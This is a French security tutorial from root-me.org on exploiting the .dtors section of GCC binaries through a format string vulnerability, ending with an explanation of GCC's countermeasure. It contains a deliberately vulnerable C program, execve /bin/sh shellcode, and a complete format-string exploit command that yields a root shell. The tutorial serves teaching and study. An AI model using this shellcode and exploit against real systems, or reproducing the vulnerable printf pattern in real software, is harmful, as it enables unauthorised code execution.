logo http://www.root-me.org logo http://www.root-me.orglogo http://www.root-me.org Créer un compte | Connectez vous |  
Accueil  -> Documentation  -> Hacking
Flux Twitter

Vos Informations

IP : 38.107.179.222
Location :
Langue : en-us
Navigateur : CCBot/1.0 (+http://www.commoncrawl.org/bot.html)


Update - RSS

Dernière mise à jour :
2012-02-20 09:28:09

 Flux Dynamique


Utilisateurs

8 visiteurs en ce moment

Derniers Inscrits :
 sebspam   Xtruc   theweep   Nobody   Nobody   dugast_a   mrN0P 
Statistiques
statistiques -Membres : 1778
-Articles : 466
-Messages : 277
-Chat Box : 396
-Challengeurs : 1155

Chat Box
g0uZ    20 février 2012 22:21:48

g0uZ    17 février 2012 14:23:44
Thx pour l’info lupiotte. Il y avait effectivement un souci avec le FW local et avec hbinary5. Pour les perms ca pose pas de pb (EDIT : mais on a qd mm durci un peu). Merci encore pour ton retour.

lupiotte    17 février 2012 12:47:45
[4admins] hbinary5 ne tourne pas : /etc/xinetd.d/hbinary5 => mauvais user donc ne se lance pas ;) Autre point : on peut recuperer les fichiers de tous les challenges(droits laxiste, sshd NOT hardened) contact vers l’exterieur (network,nc,git,sftp,...)

rootmoi    16 février 2012 20:35:57
hello 69, je veux monter une team pour la ST’HAck de Bordeaux https://sthack.ingesup.com/ contactez moi sur giganum@hotmail.fr

bgxman    10 février 2012 22:21:35
t’as un skype ou un truc pour parler ? et pourquoi mon pseudo est devenus ilteurner à mes dernier message ?

RedCrach    9 février 2012 22:46:51
contact moi ^^ j’ai un peut le temps libre mais n’attend pas que je te donne un cours de A-Z tu doit qu’en meme chercher par toi meme comme tous les autre ^^

Ilteurner    9 février 2012 19:38:59
quelq’un pourrais m’apprendre les bases SVP ? je suis debutant^^.

Ilteurner    9 février 2012 19:36:43
Est-ce que quelqu’un pourrait m’empliquer 2 ou 3 petit truc svp, sur skype ou msn, serieux, je suis bloqué, je comprends pas certaine chose, merci

bgxman    9 février 2012 18:44:32
Est-ce que quelqu’un pourrait m’empliquer 2 ou 3 petit truc svp, sur skype ou msn, serieux, je suis bloqué, je comprends pas certaine chose, merci

bgxman    7 février 2012 21:26:35
je vais commencer à m’apprendre les bases de la programmation, mais je ne connais,strictemen rien aux hack,je regardais les truc genre capture the flag ect et je me demandais...comment on fait ? parcequ’en gros,je n’y connais strictement rien merci


Vous devez être loggué pour pouvoir poster des messages
HG

dimanche 14 mars 2010
par han0r
La section dtors   Version imprimable de cet article envoyer l'article par mail Enregistrer au format PDF

Introduction

Les sections .dtors et .ctors sont présentes dans tous les binaires compilés avec GNU C (gcc). Elles permettent d’appeler des fonctions avant et/ou après la fonction main()

Nous allons voir qu’avec un peu de malice il est possible de s’en servir afin d’executer du code arbitaire.


Théorie

La section .ctors

La section .ctrors fournie une liste d’adresses de fonctions (constructeur) qui seront exécutées avant l’appelle de la fonction main().

On peut déclarer une fonction comme "constructeur" avec l’attribut constructor comme ceci :

Code C :

static void fonction_constructeur(void) __atribute__ ((constructor));

Cette fonction sera exécutée avant la fonction main.

La section .dtors

La section .dtrors fournie une liste d’adresses de fonctions (destructeur) qui seront exécutées après l’appelle de la fonction main().

On peut déclarer une fonction comme "destructeur" avec l’attribut destructeur comme ceci :

Code C :

static void fonction_destructeur(void) __atribute__ ((destructor));

Cette fonction sera exécutée avant la fonction main.

Exemple de programme

Code C :

static void fonction_constructeur(void) __attribute__ ((constructor)); // Le prototype de la fonction  fonction_constructeur.
static void fonction_destructeur(void) __attribute__ ((destructor)); // Le prototype de la fonction  fonction_destructeur.
int main(void)
{
        printf("Je suis la fonction main()");
        return 0;
}
void fonction_constructeur(void)
{
        printf("Je suis la fonction contructeur, je suis exécutée avant la fonction main()");
}
void fonction_destructeur(void)
{
        printf("Je suis la fonction destructeur, je suis exécuté après la fonction main()");
}

On compile :

$ gcc -o prog prog.c

On exécute :

$ ./prog
Je suis la fonction constructeur, je suis exécutée avant la fonction main()
Je suis la fonction main()
Je suis la fonction destructeur, je suis exécutée après la fonction main()

Voir les sections dans le binaire

Pour voir ces sections en dure dans les binaires nous disposons de divers outils :

  • nm
  • objdump
  • ob
  • etc ...

Recupérer l’adresse des sections avec nm

$ nm ./prog

08049584 d _DYNAMIC
08049658 d _GLOBAL_OFFSET_TABLE_
080484ac R _IO_stdin_used
        w _Jv_RegisterClasses

08049570 d __CTOR_END__  <<<<<<<< Fin de la section .ctors

08049568 d __CTOR_LIST__ <<<<<<<< Début de la section .ctors

0804957c D __DTOR_END__  <<<<<<<<  Fin de la section .dtors

08049574 d __DTOR_LIST__  <<<<<<<< Début de la section .dtors

08048564 r __FRAME_END__
08049580 d __JCR_END__
08049580 d __JCR_LIST__
08049678 A __bss_start
08049670 D __data_start
08048460 t __do_global_ctors_aux
08048320 t __do_global_dtors_aux
08049674 D __dso_handle
              w __gmon_start__
0804845a T __i686.get_pc_thunk.bx
08049568 d __init_array_end
08049568 d __init_array_start
080483f0 T __libc_csu_fini
08048400 T __libc_csu_init
              U __libc_start_main@@GLIBC_2.0
08049678 A _edata
08049680 A _end
0804848c T _fini
080484a8 R _fp_hw
08048274 T _init
080482f0 T _start
08049678 b completed.5829
08049670 W data_start
0804967c b dtor_idx.5831

080483c0 t fonction_constructeur <<<<< L'adresse de fonction_constructeur

080483d4 t fonction_destructeur <<<<<< L'adresse de fonction_destructeur

08048380 t frame_dummy
080483a4 T main
        U puts@@GLIBC_2.0

__DTOR_LIST__ représente le debut du .dtors.

__DTOR_END__ représente la fin de .dtors.

Voir la structure des sections avec objdump

Maintenant nous allons voir comment elles sont structurées dans le binaire avec objdump.

$ objdump -s -j .dtors ./prog

./prog:     file format elf32-i386

Contents of section .dtors:
8049574 ffffffff {d4830408} 00000000           ............

$ objdump -s -j .ctors ./prog

./prog:     file format elf32-i386

Contents of section .ctors:
8049568 ffffffff {c0830408} 00000000           ............

Ici nous voyons trois choses :

  • Le DWORD 0xffffffff qui marque le début de la section, est contenu à l’adresse 0x8049568 qui est représentée par le symbole __CTOR_LIST__ vu plus haut.
  • L’adresse des fonctions "fonction_constructeur" et "fonction_destructeur" au centre.
  • Le DWORD NULL 0x00000000 représenté par le symbole __DTOR_END__.

Exploitation

Maintenant en sachant tout cela, on peut imaginer comment détourner le flux d’execution du programme :

Si on arrive à écraser l’ adresse contenue dans la section .dtors et de la remplacer par l’adresse d’un shellcode ou d’une fonction de la libc dans le cas d’un ret2libc.

Mais comment arriver à ecrire dans la section .dtors me direz-vous ? Et bien avec une vulnérabilité bien connu : Vulnérabilité de chaine de format (string format vulnerability).

Avec une telle ouverture dans le binaire il nous est possible d’écrire où l’on veut en mémoire, et donc dans la section .dtors !

Deux cas de figure se presentent :

  • Soit il y a déjà une adresse de fonction présente comme dans l’exemple ci-dessus : 8049568 ffffffff c0830408 00000000 Ainsi nous avons juste à remplacer l’adresse 0xc0830408
  • Soit il n’y a pas d’adresses présente. Dans ce cas là, la section se presentera comme ceci : 8049568 ffffffff 00000000 Il est possible d’écraser la valeur à l’adresse de __DTOR_END__, soit 0x00000000 dans l’exemple, pour rediriger le flux d’éxécution où l’on veut.

Mise en pratique

Pré-requis :

  • Pas d’ASLR
  • Avoir la section .dtors en +w
  • Ne pas avoir de protection sur le nombre de pointeur de fonction dans le .dtors (voir au bas de l’article)

Remaque : cela pourait aussi fonctionner avec l’ASLR, mais cela compliquerait les choses et ce n’est pas le but de cette article.

La théorie c’est bien mais il faut aussi passer à la pratique, pour fixer les connaisances.

On se trouve face à ce programme :

Code C :

#include <stdio.h>
int main(int argc, char *argv[])
{
        char buff[128];
        strcpy(buff, argv[1]);
        printf(buff);
        printf("\n");
        return 0;
}

On voit tout de suite la grave erreur sur le printf(buff);

On va donc l’exploiter cette format string vulnerability pour écrire l’adresse d’un shellcode dans la section .dtors. Le shellcode va se trouver dans une variable d’environnement donc dans le pile (stack).

Déjà on regarde si le .dtors est en +w sinon ça ne sert à rien.

On compile et on lance gdb :

gcc vuln.c -o vuln

gdb -q ./vuln

(gdb) info file

   ....

       0x08049508 - 0x08049510 is .dtors

   ....


(gdb) info proc

process 2563
cmdline = '/tmp/test/vuln'
cwd = '/tmp/test'
exe = '/tmp/test/vuln'

(gdb) shell cat /proc/2563/maps
08048000-08049000 r-xp 00000000 08:01 14988      /tmp/test/vuln
08049000-0804a000 rwxp 00000000 08:01 14988      /tmp/test/vuln
b7eb2000-b7eb3000 rwxp b7eb2000 00:00 0
b7eb3000-b7fda000 r-xp 00000000 08:01 16586      /lib/tls/i686/cmov/libc-2.3.6.so
b7fda000-b7fdf000 r-xp 00127000 08:01 16586      /lib/tls/i686/cmov/libc-2.3.6.so
b7fdf000-b7fe1000 rwxp 0012c000 08:01 16586      /lib/tls/i686/cmov/libc-2.3.6.so
b7fe1000-b7fe4000 rwxp b7fe1000 00:00 0
b7fe8000-b7fea000 rwxp b7fe8000 00:00 0
b7fea000-b7feb000 r-xp b7fea000 00:00 0          [vdso]
b7feb000-b8000000 r-xp 00000000 08:01 90620      /lib/ld-2.3.6.so
b8000000-b8002000 rwxp 00014000 08:01 90620      /lib/ld-2.3.6.so
bffeb000-c0000000 rw-p bffeb000 00:00 0          [stack]

Le .dtors se trouve en 0x08049508 et sur la maps de la mémoire on voit que l’intervalle 08049000-0804a000 est en +x, on va pouvoir écrire dedans.

Maintenant il faut regarder si la section est vide :

nm ./vuln | grep dtors

0804950c d __DTOR_END__
08049508 d __DTOR_LIST__

0x0804950c - 0x08049508 = 4

Donc la section est vide, on verifie :

objdump -s -j .dtors ./vuln


./vuln:     file format elf32-i386

Contents of section .dtors:
8049508 ffffffff 00000000                    ........

Confirmation que la liste est vide, il va donc falloir écraser le DWORD NULL.

Ce DWORD NULL se trouve à l’adresse de la section .dtors + 4 : 0x08049508 + 0x4 =  0x0804950c

Passons au shellcode :

On prend un shellcode exec /bin/sh :

printf "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" > shellcode.bin

On le met dans l’environnement :

export SHELLCODE=$(cat shellcode.bin)

Il faut maintenant connaitre l’adresse de notre shellcode, on va utiliser ce petit programme qui prédit l’adresse d’une variable dans l’environnemnt d’un programme demandé :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
        char *ptr;
        if(argc < 3)
        {
                printf("Usage: %s <variable d'environnement> <nom du programme cible>\n", argv[0]);
                exit(0);
        }
        ptr = getenv(argv[1]);
        if(ptr == NULL)
        {
              printf("%s doesn't exist", argv[1]);
              return -1;
        }
        ptr += (strlen(argv[0]) - strlen(argv[2]))*2;
        printf("%s is at %p\n", argv[1], ptr);
        return 0;
}

On compile et exécute :

gcc getenvaddr.c -o getenvaddr

./getenvaddr SHELLCODE ./vuln
SHELLCODE is at 0xbffffbc8

On récapitule :

  • L’adresse du DWORD NULL a écraser : 0x0804950c
  • L’adresse du shellcode : 0xbffffbc8

On exploit :

./vuln $(printf "\x0e\x95\x04\x08\x0c\x95\x04\x08")%49143x%8\$hn%15305x%9\$hn

....

....

sh-3.1# whoami
root
sh-3.1#

Et voila ! On a un shell ! Il n’est pas beau ??


Protection de la section .dtors

Il aurait été trop beau que cette technique marche à tous les coups. Une protection sur la section .dtors existe, plus précisément sur le nombre de fonctions à exécuter. C’est à dire que si dans un binaire aucun poiteur ne se trouve dans la section .dtors (comme dans l’exemple ci-dessus), aucune adresse ne sera pris en compte. Donc même si on ecrase le DWORD NULL par l’adresse d’un shellcode, celui-ci ne sera pas executé !

Cette protection se trouve dans le fonction __do_global_dtors_aux(), c’est cette fontion qui se charge d’exécuter les pointeurs présents dans le .dtors.

Examinons ceci de plus près :

Fonction __do_global_dtors_aux() avec la protection

0x08048300 <__do_global_dtors_aux+16>:  mov    eax,ds:0x804954c

Ici eax va être à 0, eax va représenter le nombre de fonctions déjà executées, il est donc égal à 0

0x08048305 <__do_global_dtors_aux+21>:  mov    ebx,0x8049450
0x0804830a <__do_global_dtors_aux+26>:  sub    ebx,0x804944c

ebx va être egal à l’adresse de __DTOR_END__, et on y soustrait l’adresse de __DTOR_LIST__. ebx va donc être égal à 4 octets, ce qui représente la taile du DWORD 0xffffffff.

0x08048310 <__do_global_dtors_aux+32>:  sar    ebx,0x2
0x08048313 <__do_global_dtors_aux+35>:  sub    ebx,0x1

Ici en gros on retire 4 octets à ebx. Donc ebx = 0.

0x08048316 <__do_global_dtors_aux+38>:  cmp    eax,ebx
0x08048318 <__do_global_dtors_aux+40>:  jae    0x8048338 <__do_global_dtors_aux+72>

On compare eax et ebx, ils sont tous les deux égales à 0, arrivé au jae on saute et on quitte la fonction.

  • Resultat : Aucune fonction n’a été executée, même si l’on aurait écrasé le DWORD NULL.

Si ebx est supérieur à eax on continue et on boucle sur ce code :

0x0804831a <__do_global_dtors_aux+42>:  lea    esi,[esi+0x0]
0x08048320 <__do_global_dtors_aux+48>:  add    eax,0x1
0x08048323 <__do_global_dtors_aux+51>:  mov    ds:0x804954c,eax
0x08048328 <__do_global_dtors_aux+56>:  call   DWORD PTR [eax*4+0x804944c]
0x0804832f <__do_global_dtors_aux+63>:  mov    eax,ds:0x804954c
0x08048334 <__do_global_dtors_aux+68>:  cmp    eax,ebx
0x08048336 <__do_global_dtors_aux+70>:  jb     0x8048320 <__do_global_dtors_aux+48>

Ici on va simplement :

  • Incrémenter eax, (qui je le rappelle est égal au nombre de fonctions exécutées jusqu’à maintenant).
  • Appeller la procahine fontion présente dans la liste.
  • Tester si il reste encore une fonction à exécuter.

Conclusion

Nous avons donc vu se que sont les sections .dtors et .ctors, et plus intéressant, comment elles peuvent être la cible d’attaques pour prendre le contrôle de l’application.

Bien, que comme il est montré à la fin, les programmes compilés avec des versions récentes de GCC, on une protection. Elle empêche d’exécuter du code arbitraire, si aucune adresse n’est présente dans la section .dtors. Mais si une adresse est présente, rien ne nous empêche de l’écraser et de détourner le flux, à par peut être le DROP du droit d’écriture sur la section.

En espérant que cet article vous ai plu.




BG BD
HGHG

  Documentation publiés dans cette rubrique

0 | 10

BG BD